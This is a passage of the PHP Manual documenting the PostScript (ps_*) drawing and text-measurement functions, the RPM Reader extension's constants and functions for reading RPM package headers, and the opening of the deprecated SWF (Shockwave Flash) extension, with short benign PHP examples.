Setting this parameter to "true" will turn on striking out. Striking out is turned off by default.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text to be output.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_show_xy() - Output text at given position
  • ps_setfont() - Sets font to use for following output

User Contributed Notes

There are no user contributed notes for this page.
ps_show2
ps_string_geometry
PS Functions


Gets geometry of a string

ps_show
ps_stringwidth
PS Functions
PHP Manual

ps_string_geometry

(PECL ps >= 1.2.0)

ps_string_geometry — Gets geometry of a string

Description

array ps_string_geometry ( resource $psdoc , string $text [, int $fontid = 0 [, float $size = 0.0 ]] )

This function is similar to ps_stringwidth() but returns an array of dimensions containing the width, ascender, and descender of the text.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the geometry is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

An array of the dimensions of a string. The element 'width' contains the width of the string as returned by ps_stringwidth(). The element 'descender' contains the maximum descender and 'ascender' the maximum ascender of the string.

See Also

  • ps_continue_text() - Continue text in next line
  • ps_stringwidth() - Gets width of a string

User Contributed Notes

There are no user contributed notes for this page.
ps_show
ps_stringwidth
PS Functions


Gets width of a string

ps_string_geometry
ps_stroke
PS Functions
PHP Manual

ps_stringwidth

(PECL ps >= 1.1.0)

ps_stringwidth — Gets width of a string

Description

float ps_stringwidth ( resource $psdoc , string $text [, int $fontid = 0 [, float $size = 0.0 ]] )

Calculates the width of a string in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width. If kerning is turned on, it will be taken into account.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

text

The text for which the width is to be calculated.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

Width of a string in points.

See Also

  • ps_string_geometry() - Gets geometry of a string

User Contributed Notes

There are no user contributed notes for this page.
ps_string_geometry
ps_stroke
PS Functions


Draws the current path

ps_stringwidth
ps_symbol_name
PS Functions
PHP Manual

ps_stroke

(PECL ps >= 1.1.0)

ps_stroke — Draws the current path

Description

bool ps_stroke ( resource $psdoc )

Draws the path constructed with previously called drawing functions like ps_lineto().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_closepath_stroke() - Closes and strokes path
  • ps_fill() - Fills the current path
  • ps_fill_stroke() - Fills and strokes the current path

User Contributed Notes

There are no user contributed notes for this page.
ps_stringwidth
ps_symbol_name
PS Functions


Gets name of a glyph

ps_stroke
ps_symbol_width
PS Functions
PHP Manual

ps_symbol_name

(PECL ps >= 1.2.0)

ps_symbol_name — Gets name of a glyph

Description

string ps_symbol_name ( resource $psdoc , int $ord [, int $fontid = 0 ] )

This function needs an Adobe font metrics file to know which glyphs are available.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The parameter ord is the position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

Return Values

The name of a glyph in the given font.

See Also

  • ps_symbol() - Output a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.
ps_stroke
ps_symbol_width
PS Functions


Gets width of a glyph

ps_symbol_name
ps_symbol
PS Functions
PHP Manual

ps_symbol_width

(PECL ps >= 1.2.0)

ps_symbol_width — Gets width of a glyph

Description

float ps_symbol_width ( resource $psdoc , int $ord [, int $fontid = 0 [, float $size = 0.0 ]] )

Calculates the width of a glyph in points if it was output in the given font and font size. This function needs an Adobe font metrics file to calculate the precise width.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

fontid

The identifier of the font to be used. If not font is specified the current font will be used.

size

The size of the font. If no size is specified the current size is used.

Return Values

The width of a glyph in points.

See Also

  • ps_symbol() - Output a glyph
  • ps_symbol_name() - Gets name of a glyph

User Contributed Notes

There are no user contributed notes for this page.
ps_symbol_name
ps_symbol
PS Functions


Output a glyph

ps_symbol_width
ps_translate
PS Functions
PHP Manual

ps_symbol

(PECL ps >= 1.2.0)

ps_symbol — Output a glyph

Description

bool ps_symbol ( resource $psdoc , int $ord )

Output the glyph at position ord in the font encoding vector of the current font. The font encoding for a font can be set when loading the font with ps_findfont().

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

ord

The position of the glyph in the font encoding vector.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ps_symbol_name() - Gets name of a glyph
  • ps_symbol_width() - Gets width of a glyph

User Contributed Notes

There are no user contributed notes for this page.
ps_symbol_width
ps_translate
PS Functions


Sets translation

ps_symbol
RPM Reader
PS Functions
PHP Manual

ps_translate

(PECL ps >= 1.1.0)

ps_translate — Sets translation

Description

bool ps_translate ( resource $psdoc , float $x , float $y )

Sets a new initial point of the coordinate system.

Parameters

psdoc

Resource identifier of the postscript file as returned by ps_new().

x

x-coordinate of the origin of the translated coordinate system.

y

y-coordinate of the origin of the translated coordinate system.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Translation of the coordinate system

<?php
function rectangle($ps) {
    ps_moveto($ps, 0, 0);
    ps_lineto($ps, 0, 50);
    ps_lineto($ps, 50, 50);
    ps_lineto($ps, 50, 0);
    ps_lineto($ps, 0, 0);
    ps_stroke($ps);
}

$ps = ps_new();
if (!ps_open_file($ps, "translate.ps")) {
  print "Cannot open PostScript file\n";
  exit;
}

ps_set_info($ps, "Creator", "translate.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Translated example");
ps_set_info($ps, "BoundingBox", "0 0 596 842");

$psfont = ps_findfont($ps, "Helvetica", "", 0);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_translate($ps, -500, -750);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_begin_page($ps, 596, 842);
ps_set_text_pos($ps, 100, 100);
ps_save($ps);
ps_translate($ps, 500, 750);
rectangle($ps);
ps_restore($ps);
ps_setfont($ps, $psfont, 8.0);
ps_show($ps, "Text at initial position");
ps_end_page($ps);

ps_delete($ps);
?>

The above example demonstrates two possible ways to place a graphic (in this case just a rectangle) at any position on the page, while the graphic itself uses its own coordinate system. The trick is to change the origin of the current coordinate system before drawing the rectangle. The translation has to be undone after the graphic has been drawn.

On the second page a slightly different and more elegant approach is applied. Instead of undoing the translation with a second call of ps_translate() the graphics context is saved before modifying the coordinate system and restored after drawing the rectangle.

See Also

  • ps_scale() - Sets scaling factor
  • ps_rotate() - Sets rotation factor

User Contributed Notes

There are no user contributed notes for this page.
ps_symbol
RPM Reader
PS Functions


RPM Header Reading

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • RPM Reader Functions
    • rpm_close — Closes an RPM file
    • rpm_get_tag — Retrieves a header tag from an RPM file
    • rpm_is_valid — Tests a filename for validity as an RPM file
    • rpm_open — Opens an RPM file
    • rpm_version — Returns a string representing the current version of the rpmreader extension

User Contributed Notes

There are no user contributed notes for this page.
ps_translate
Introduction
Non-Text MIME Output


Introduction

This module allows you to read the meta information stored in the headers of a » RedHat Package Manager (» RPM) file.

User Contributed Notes

There are no user contributed notes for this page.
RPM Reader
Installing/Configuring
RPM Reader


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
RPM Reader


Requirements

The RPMReader extension requires PHP 5.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/rpmreader.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Resource Types

There is one resource type used by the RPMReader module. The resource is a file pointer which identifies the RPM file with which to work.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

The following list of constants are used to obtain information using the rpm_get_tag() function. These constants represent the tag number to be retrieved from the RPM file's header section. Descriptions are given below as to what data the tag number constants reference.

RPMREADER_MINIMUM (integer)
The minimum valid value of any RPM tag number.
RPMREADER_NAME (integer)
The name of the RPM package.
RPMREADER_VERSION (integer)
The version of the RPM package.
RPMREADER_RELEASE (integer)
The release of the RPM package.
RPMREADER_EPOCH (integer)
RPMREADER_SERIAL (integer)
RPMREADER_SUMMARY (integer)
The summary text of the RPM package.
RPMREADER_DESCRIPTION (integer)
The full description text of the RPM package.
RPMREADER_BUILDTIME (integer)
The date and time when the RPM package was built.
RPMREADER_BUILDHOST (integer)
The name of the host on which the RPM package was built.
RPMREADER_INSTALLTIME (integer)
RPMREADER_SIZE (integer)
The size of the RPM package.
RPMREADER_DISTRIBUTION (integer)
RPMREADER_VENDOR (integer)
RPMREADER_GIF (integer)
RPMREADER_XPM (integer)
RPMREADER_LICENSE (integer)
RPMREADER_COPYRIGHT (integer)
RPMREADER_PACKAGER (integer)
RPMREADER_GROUP (integer)
RPMREADER_SOURCE (integer)
RPMREADER_PATCH (integer)
RPMREADER_URL (integer)
RPMREADER_OS (integer)
RPMREADER_ARCH (integer)
RPMREADER_PREIN (integer)
RPMREADER_POSTIN (integer)
RPMREADER_PREUN (integer)
RPMREADER_POSTUN (integer)
RPMREADER_OLDFILENAMES (integer)
The list of files in an RPM package (deprecated format). The correct way is now to use a combination of 3 tags (RPMREADER_BASENAMES, RPMREADER_DIRINDEXES, RPMREADER_DIRNAMES) in what RPM now calls "CompressedFileNames". This tag is still used in older RPM files that did not use the "CompressedFileNames" method and is maintained for backward compatibility.
RPMREADER_FILESIZES (integer)
RPMREADER_FILESTATES (integer)
RPMREADER_FILEMODES (integer)
RPMREADER_FILERDEVS (integer)
RPMREADER_FILEMTIMES (integer)
RPMREADER_FILEMD5S (integer)
RPMREADER_FILELINKTOS (integer)
RPMREADER_FILEFLAGS (integer)
RPMREADER_FILEUSERNAME (integer)
RPMREADER_FILEGROUPNAME (integer)
RPMREADER_ICON (integer)
RPMREADER_SOURCERPM (integer)
RPMREADER_FILEVERIFYFLAGS (integer)
RPMREADER_ARCHIVESIZE (integer)
RPMREADER_PROVIDENAME (integer)
RPMREADER_PROVIDES (integer)
RPMREADER_REQUIREFLAGS (integer)
RPMREADER_REQUIRENAME (integer)
RPMREADER_REQUIREVERSION (integer)
RPMREADER_CONFLICTFLAGS (integer)
RPMREADER_CONFLICTNAME (integer)
RPMREADER_CONFLICTVERSION (integer)
RPMREADER_EXCLUDEARCH (integer)
RPMREADER_EXCLUDEOS (integer)
RPMREADER_EXCLUSIVEARCH (integer)
RPMREADER_EXCLUSIVEOS (integer)
RPMREADER_RPMVERSION (integer)
RPMREADER_TRIGGERSCRIPTS (integer)
RPMREADER_TRIGGERNAME (integer)
RPMREADER_TRIGGERVERSION (integer)
RPMREADER_TRIGGERFLAGS (integer)
RPMREADER_TRIGGERINDEX (integer)
RPMREADER_VERIFYSCRIPT (integer)
RPMREADER_CHANGELOGTIME (integer)
The list of dates from changelog entries.
RPMREADER_CHANGELOGNAME (integer)
The list of changelog entry names.
RPMREADER_CHANGELOGTEXT (integer)
The list of the text from changelog entries.
RPMREADER_PREINPROG (integer)
RPMREADER_POSTINPROG (integer)
RPMREADER_PREUNPROG (integer)
RPMREADER_POSTUNPROG (integer)
RPMREADER_BUILDARCHS (integer)
RPMREADER_OBSOLETENAME (integer)
RPMREADER_OBSOLETES (integer)
RPMREADER_VERIFYSCRIPTPROG (integer)
RPMREADER_TRIGGERSCRIPTPROG (integer)
RPMREADER_COOKIE (integer)
RPMREADER_FILEDEVICES (integer)
RPMREADER_FILEINODES (integer)
RPMREADER_FILELANGS (integer)
RPMREADER_PREFIXES (integer)
RPMREADER_INSTPREFIXES (integer)
RPMREADER_PROVIDEFLAGS (integer)
RPMREADER_PROVIDEVERSION (integer)
RPMREADER_OBSOLETEFLAGS (integer)
RPMREADER_OBSOLETEVERSION (integer)
RPMREADER_DIRINDEXES (integer)
The list of indices that relate directory names to files in the RPM package. This tag is used in conjunction with RPMREADER_BASENAMES and RPMREADER_DIRNAMES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_BASENAMES (integer)
The list of the names of files in the RPM package without path information. This tag is used in conjunction with RPMREADER_DIRINDEXES and RPMREADER_DIRNAMES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_DIRNAMES (integer)
The list of directory names used by files in the RPM package. This tag is used in conjunction with RPMREADER_BASENAMES and RPMREADER_DIRINDEXES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_OPTFLAGS (integer)
RPMREADER_DISTURL (integer)
RPMREADER_PAYLOADFORMAT (integer)
RPMREADER_PAYLOADCOMPRESSOR (integer)
RPMREADER_PAYLOADFLAGS (integer)
RPMREADER_INSTALLCOLOR (integer)
RPMREADER_INSTALLTID (integer)
RPMREADER_REMOVETID (integer)
RPMREADER_RHNPLATFORM (integer)
RPMREADER_PLATFORM (integer)
RPMREADER_PATCHESNAME (integer)
RPMREADER_PATCHESFLAGS (integer)
RPMREADER_PATCHESVERSION (integer)
RPMREADER_CACHECTIME (integer)
RPMREADER_CACHEPKGPATH (integer)
RPMREADER_CACHEPKGSIZE (integer)
RPMREADER_CACHEPKGMTIME (integer)
RPMREADER_FILECOLORS (integer)
RPMREADER_FILECLASS (integer)
RPMREADER_CLASSDICT (integer)
RPMREADER_FILEDEPENDSX (integer)
RPMREADER_FILEDEPENDSN (integer)
RPMREADER_DEPENDSDICT (integer)
RPMREADER_SOURCEPKGID (integer)
RPMREADER_FILECONTEXTS (integer)
RPMREADER_FSCONTEXTS (integer)
RPMREADER_RECONTEXTS (integer)
RPMREADER_POLICIES (integer)
RPMREADER_MAXIMUM (integer)
The maximum valid value of any RPM tag number.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
RPM Reader


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
RPM Reader


Basic usage

This example will open an RPM file and read the name, version, and release from the RPM file, echo the results, and close the RPM file.

Example #1 Basic RPMReader Example

<?php

$filename = "/path/to/file.rpm";

// open file
$rpmr = rpm_open($filename);

// get "Name" tag
$name = rpm_get_tag($rpmr, RPMREADER_NAME);

// get "Version" tag
$ver = rpm_get_tag($rpmr, RPMREADER_VERSION);

// get "Release" tag
$rel = rpm_get_tag($rpmr, RPMREADER_RELEASE);

echo "$name-$ver-$rel<br>\n";

// close file
rpm_close($rpmr);

?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
RPM Reader Functions
Examples


RPM Reader Functions

Table of Contents

  • rpm_close — Closes an RPM file
  • rpm_get_tag — Retrieves a header tag from an RPM file
  • rpm_is_valid — Tests a filename for validity as an RPM file
  • rpm_open — Opens an RPM file
  • rpm_version — Returns a string representing the current version of the rpmreader extension

User Contributed Notes

There are no user contributed notes for this page.
Basic usage
rpm_close
RPM Reader


Closes an RPM file

RPM Reader Functions
rpm_get_tag
RPM Reader Functions
PHP Manual

rpm_close

(PECL rpmreader >= 0.1.0)

rpm_close — Closes an RPM file

Description

bool rpm_close ( resource $rpmr )

rpm_close() will close an RPM file pointer.

Parameters

rpmr

A file pointer resource successfully opened by rpm_open().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rpm_close() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

rpm_close($rpmr);

?>

See Also

  • rpm_open() - Opens an RPM file

User Contributed Notes

There are no user contributed notes for this page.
RPM Reader Functions
rpm_get_tag
RPM Reader Functions


Retrieves a header tag from an RPM file

rpm_close
rpm_is_valid
RPM Reader Functions
PHP Manual

rpm_get_tag

(PECL rpmreader >= 0.1.0)

rpm_get_tag — Retrieves a header tag from an RPM file

Description

mixed rpm_get_tag ( resource $rpmr , int $tagnum )

rpm_get_tag() will retrieve a given tag from the RPM file's header and return it.

Parameters

rpmr

A file pointer resource successfully opened by rpm_open().

tagnum

The tag number to retrieve from the RPM header. This value can be specified using the list of constants defined by this module.

Return Values

The return value can be of various types depending on the tagnum supplied to the function.

Examples

Example #1 rpm_get_tag() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

$name = rpm_get_tag($rpmr, RPMREADER_NAME);
echo "$name<br>\n";

rpm_close($rpmr);

?>

See Also

  • rpm_open() - Opens an RPM file
  • rpm_close() - Closes an RPM file

User Contributed Notes

There are no user contributed notes for this page.
rpm_close
rpm_is_valid
RPM Reader Functions


Tests a filename for validity as an RPM file

rpm_get_tag
rpm_open
RPM Reader Functions
PHP Manual

rpm_is_valid

(PECL rpmreader >= 0.1.0)

rpm_is_valid — Tests a filename for validity as an RPM file

Description

bool rpm_is_valid ( string $filename )

rpm_is_valid() will test an RPM file for validity as an RPM file. This is not the same as rpm_open() as it only checks the file for validity but does not return a file pointer to be used by further functions.

Parameters

filename

The filename of the RPM file you wish to check for validity.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rpm_is_valid() example

<?php

$file = "/path/to/file.rpm";

if (rpm_is_valid($file)) {
    echo "File is recognized as an RPM file.<br>\n";
}
else {
    echo "File is not recognized as an RPM file.<br>\n";
}

?>

User Contributed Notes

There are no user contributed notes for this page.
rpm_get_tag
rpm_open
RPM Reader Functions


Opens an RPM file

rpm_is_valid
rpm_version
RPM Reader Functions
PHP Manual

rpm_open

(PECL rpmreader >= 0.1.0)

rpm_open — Opens an RPM file

Description

resource rpm_open ( string $filename )

rpm_open() will open an RPM file and will determine if the file is a valid RPM file.

Parameters

filename

The filename of the RPM file you wish to open.

Return Values

If the open succeeds, then rpm_open() will return a file pointer resource to the newly opened file. On error, the function will return FALSE.

Examples

Example #1 rpm_open() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

rpm_close($rpmr);

?>

See Also

  • rpm_close() - Closes an RPM file

User Contributed Notes

tpe at dansupport dot dk 08-Aug-2006 02:40
Just to list all tags as of version 0.3 beta:

RPMREADER_NAME
RPMREADER_MINIMUM
RPMREADER_VERSION
RPMREADER_RELEASE
RPMREADER_EPOCH
RPMREADER_SERIAL
RPMREADER_SUMMARY
RPMREADER_DESCRIPTION
RPMREADER_BUILDTIME
RPMREADER_BUILDHOST
RPMREADER_INSTALLTIME
RPMREADER_SIZE
RPMREADER_DISTRIBUTION
RPMREADER_VENDOR
RPMREADER_GIF
RPMREADER_XPM
RPMREADER_LICENSE
RPMREADER_COPYRIGHT
RPMREADER_PACKAGER
RPMREADER_GROUP
RPMREADER_SOURCE
RPMREADER_PATCH
RPMREADER_URL
RPMREADER_OS
RPMREADER_ARCH
RPMREADER_PREIN
RPMREADER_POSTIN
RPMREADER_PREUN
RPMREADER_POSTUN
RPMREADER_OLDFILENAMES
RPMREADER_FILESIZES
RPMREADER_FILESTATES
RPMREADER_FILEMODES
RPMREADER_FILERDEVS
RPMREADER_FILEMTIMES
RPMREADER_FILEMD5S
RPMREADER_FILELINKTOS
RPMREADER_FILEFLAGS
RPMREADER_FILEUSERNAME
RPMREADER_FILEGROUPNAME
RPMREADER_ICON
RPMREADER_SOURCERPM
RPMREADER_FILEVERIFYFLAGS
RPMREADER_ARCHIVESIZE
RPMREADER_PROVIDENAME
RPMREADER_PROVIDES
RPMREADER_REQUIREFLAGS
RPMREADER_REQUIRENAME
RPMREADER_REQUIREVERSION
RPMREADER_CONFLICTFLAGS
RPMREADER_CONFLICTNAME
RPMREADER_CONFLICTVERSION
RPMREADER_EXCLUDEARCH
RPMREADER_EXCLUDEOS
RPMREADER_EXCLUSIVEARCH
RPMREADER_EXCLUSIVEOS
RPMREADER_RPMVERSION
RPMREADER_TRIGGERSCRIPTS
RPMREADER_TRIGGERNAME
RPMREADER_TRIGGERVERSION
RPMREADER_TRIGGERFLAGS
RPMREADER_TRIGGERINDEX
RPMREADER_VERIFYSCRIPT
RPMREADER_CHANGELOGTIME
RPMREADER_CHANGELOGNAME
RPMREADER_CHANGELOGTEXT
RPMREADER_PREINPROG
RPMREADER_POSTINPROG
RPMREADER_PREUNPROG
RPMREADER_POSTUNPROG
RPMREADER_BUILDARCHS
RPMREADER_OBSOLETENAME
RPMREADER_OBSOLETES
RPMREADER_VERIFYSCRIPTPROG
RPMREADER_TRIGGERSCRIPTPROG
RPMREADER_COOKIE
RPMREADER_FILEDEVICES
RPMREADER_FILEINODES
RPMREADER_FILELANGS
RPMREADER_PREFIXES
RPMREADER_INSTPREFIXES
RPMREADER_PROVIDEFLAGS
RPMREADER_PROVIDEVERSION
RPMREADER_OBSOLETEFLAGS
RPMREADER_OBSOLETEVERSION
RPMREADER_DIRINDEXES
RPMREADER_BASENAMES
RPMREADER_DIRNAMES
RPMREADER_OPTFLAGS
RPMREADER_DISTURL
RPMREADER_PAYLOADFORMAT
RPMREADER_PAYLOADCOMPRESSOR
RPMREADER_PAYLOADFLAGS
RPMREADER_INSTALLCOLOR
RPMREADER_INSTALLTID
RPMREADER_REMOVETID
RPMREADER_RHNPLATFORM
RPMREADER_PLATFORM
RPMREADER_PATCHESNAME
RPMREADER_PATCHESFLAGS
RPMREADER_PATCHESVERSION
RPMREADER_CACHECTIME
RPMREADER_CACHEPKGPATH
RPMREADER_CACHEPKGSIZE
RPMREADER_CACHEPKGMTIME
RPMREADER_FILECOLORS
RPMREADER_FILECLASS
RPMREADER_CLASSDICT
RPMREADER_FILEDEPENDSX
RPMREADER_FILEDEPENDSN
RPMREADER_DEPENDSDICT
RPMREADER_SOURCEPKGID
RPMREADER_FILECONTEXTS
RPMREADER_FSCONTEXTS
RPMREADER_RECONTEXTS
RPMREADER_POLICIES
RPMREADER_MAXIMUM
RPMreader version
rpm_is_valid
rpm_version
RPM Reader Functions


Returns a string representing the current version of the rpmreader extension

rpm_open
SWF
RPM Reader Functions
PHP Manual

rpm_version

(PECL rpmreader >= 0.3.0)

rpm_version — Returns a string representing the current version of the rpmreader extension

Description

string rpm_version ( void )

rpm_version() will return the current version of the rpmreader extension.

Return Values

rpm_version() will return a string representing the rpmreader version currently loaded in PHP.

Examples

Example #1 rpm_version() example

<?php

$rpmr_ver = rpm_version();

echo "$rpmr_ver<br />\n";

?>

User Contributed Notes

There are no user contributed notes for this page.
rpm_open
SWF
RPM Reader Functions


Shockwave Flash

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • SWF Functions
    • swf_actiongeturl — Get a URL from a Shockwave Flash movie
    • swf_actiongotoframe — Play a frame and then stop
    • swf_actiongotolabel — Display a frame with the specified label
    • swf_actionnextframe — Go forward one frame
    • swf_actionplay — Start playing the flash movie from the current frame
    • swf_actionprevframe — Go backwards one frame
    • swf_actionsettarget — Set the context for actions
    • swf_actionstop — Stop playing the flash movie at the current frame
    • swf_actiontogglequality — Toggle between low and high quality
    • swf_actionwaitforframe — Skip actions if a frame has not been loaded
    • swf_addbuttonrecord — Controls location, appearance and active area of the current button
    • swf_addcolor — Set the global add color to the rgba value specified
    • swf_closefile — Close the current Shockwave Flash file
    • swf_definebitmap — Define a bitmap
    • swf_definefont — Defines a font
    • swf_defineline — Define a line
    • swf_definepoly — Define a polygon
    • swf_definerect — Define a rectangle
    • swf_definetext — Define a text string
    • swf_endbutton — End the definition of the current button
    • swf_enddoaction — End the current action
    • swf_endshape — Completes the definition of the current shape
    • swf_endsymbol — End the definition of a symbol
    • swf_fontsize — Change the font size
    • swf_fontslant — Set the font slant
    • swf_fonttracking — Set the current font tracking
    • swf_getbitmapinfo — Get information about a bitmap
    • swf_getfontinfo — Gets font information
    • swf_getframe — Get the frame number of the current frame
    • swf_labelframe — Label the current frame
    • swf_lookat — Define a viewing transformation
    • swf_modifyobject — Modify an object
    • swf_mulcolor — Sets the global multiply color to the rgba value specified
    • swf_nextid — Returns the next free object id
    • swf_oncondition — Describe a transition used to trigger an action list
    • swf_openfile — Open a new Shockwave Flash file
    • swf_ortho2 — Defines 2D orthographic mapping of user coordinates onto the current viewport
    • swf_ortho — Defines an orthographic mapping of user coordinates onto the current viewport
    • swf_perspective — Define a perspective projection transformation
    • swf_placeobject — Place an object onto the screen
    • swf_polarview — Define the viewer's position with polar coordinates
    • swf_popmatrix — Restore a previous transformation matrix
    • swf_posround — Enables or Disables the rounding of the translation when objects are placed or moved
    • swf_pushmatrix — Push the current transformation matrix back onto the stack
    • swf_removeobject — Remove an object
    • swf_rotate — Rotate the current transformation
    • swf_scale — Scale the current transformation
    • swf_setfont — Change the current font
    • swf_setframe — Switch to a specified frame
    • swf_shapearc — Draw a circular arc
    • swf_shapecurveto3 — Draw a cubic bezier curve
    • swf_shapecurveto — Draw a quadratic bezier curve between two points
    • swf_shapefillbitmapclip — Set current fill mode to clipped bitmap
    • swf_shapefillbitmaptile — Set current fill mode to tiled bitmap
    • swf_shapefilloff — Turns off filling
    • swf_shapefillsolid — Set the current fill style to the specified color
    • swf_shapelinesolid — Set the current line style
    • swf_shapelineto — Draw a line
    • swf_shapemoveto — Move the current position
    • swf_showframe — Display the current frame
    • swf_startbutton — Start the definition of a button
    • swf_startdoaction — Start a description of an action list for the current frame
    • swf_startshape — Start a complex shape
    • swf_startsymbol — Define a symbol
    • swf_textwidth — Get the width of a string
    • swf_translate — Translate the current transformations
    • swf_viewport — Select an area for future drawing

User Contributed Notes

There are no user contributed notes for this page.
rpm_version
Introduction
Non-Text MIME Output


Introduction

PHP offers the ability to create Shockwave Flash files via Paul Haeberli's libswf module.

Note:

The libswf does not have support for Windows. The development of that library has been stopped, and the source is not available to port it to another systems.

For up to date SWF support take a look at the MING functions.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.
SWF
Installing/Configuring
SWF


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
SWF


Requirements

You need the libswf library to compile PHP with support for this extension. You can download libswf at » ftp://ftp.sgi.com/sgi/graphics/grafica/flash/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This extension is considered unmaintained and dead. However, the source code for this extension is still available within PECL SVN here: » http://svn.php.net/viewvc/pecl/swf.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MOD_COLOR (integer)
MOD_MATRIX (integer)
TYPE_PUSHBUTTON (integer)
TYPE_MENUBUTTON (integer)
BSHitTest (float)
BSDown (float)
BSOver (float)
BSUp (float)
OverDowntoIdle (integer)
IdletoOverDown (integer)
OutDowntoIdle (integer)
OutDowntoOverDown (integer)
OverDowntoOutDown (integer)
OverUptoOverDown (integer)
OverUptoIdle (integer)
IdletoOverUp (integer)
ButtonEnter (integer)
ButtonExit (integer)
MenuEnter (integer)
MenuExit (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
SWF


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
SWF


Basic usage

Once you've successfully installed PHP with Shockwave Flash support you can then go about creating Shockwave files from PHP. You would be surprised at what you can do, take the following code:

Example #1 SWF example

<?php
swf_openfile("test.swf", 256, 256, 30, 1, 1, 1);
swf_ortho2(-100, 100, -100, 100);
swf_defineline(1, -70, 0, 70, 0, .2);
swf_definerect(4, 60, -10, 70, 0, 0);
swf_definerect(5, -60, 0, -70, 10, 0);
swf_addcolor(0, 0, 0, 0);

swf_definefont(10, "Mod");
swf_fontsize(5);
swf_fontslant(10);
swf_definetext(11, "This be Flash wit PHP!", 1);

swf_pushmatrix();
swf_translate(-50, 80, 0);
swf_placeobject(11, 60);
swf_popmatrix();

for ($i = 0; $i < 30; $i++) {
    $p = $i/(30-1);
    swf_pushmatrix();
    swf_scale(1-($p*.9), 1, 1);
    swf_rotate(60*$p, 'z');
    swf_translate(20+20*$p, $p/1.5, 0);
    swf_rotate(270*$p,  'z');
    swf_addcolor($p, 0, $p/1.2, -$p);
    swf_placeobject(1, 50);
    swf_placeobject(4, 50);
    swf_placeobject(5, 50);
    swf_popmatrix();
    swf_showframe();
}

for ($i = 0; $i < 30; $i++) {
    swf_removeobject(50);
    if (($i%4) == 0) {
        swf_showframe();
    }
}

swf_startdoaction();
swf_actionstop();
swf_enddoaction();

swf_closefile();
?>

User Contributed Notes

There are no user contributed notes for this page.
Examples
SWF Functions
Examples


SWF Functions

Table of Contents

  • swf_actiongeturl — Get a URL from a Shockwave Flash movie
  • swf_actiongotoframe — Play a frame and then stop
  • swf_actiongotolabel — Display a frame with the specified label
  • swf_actionnextframe — Go forward one frame
  • swf_actionplay — Start playing the flash movie from the current frame
  • swf_actionprevframe — Go backwards one frame
  • swf_actionsettarget — Set the context for actions
  • swf_actionstop — Stop playing the flash movie at the current frame
  • swf_actiontogglequality — Toggle between low and high quality
  • swf_actionwaitforframe — Skip actions if a frame has not been loaded
  • swf_addbuttonrecord — Controls location, appearance and active area of the current button
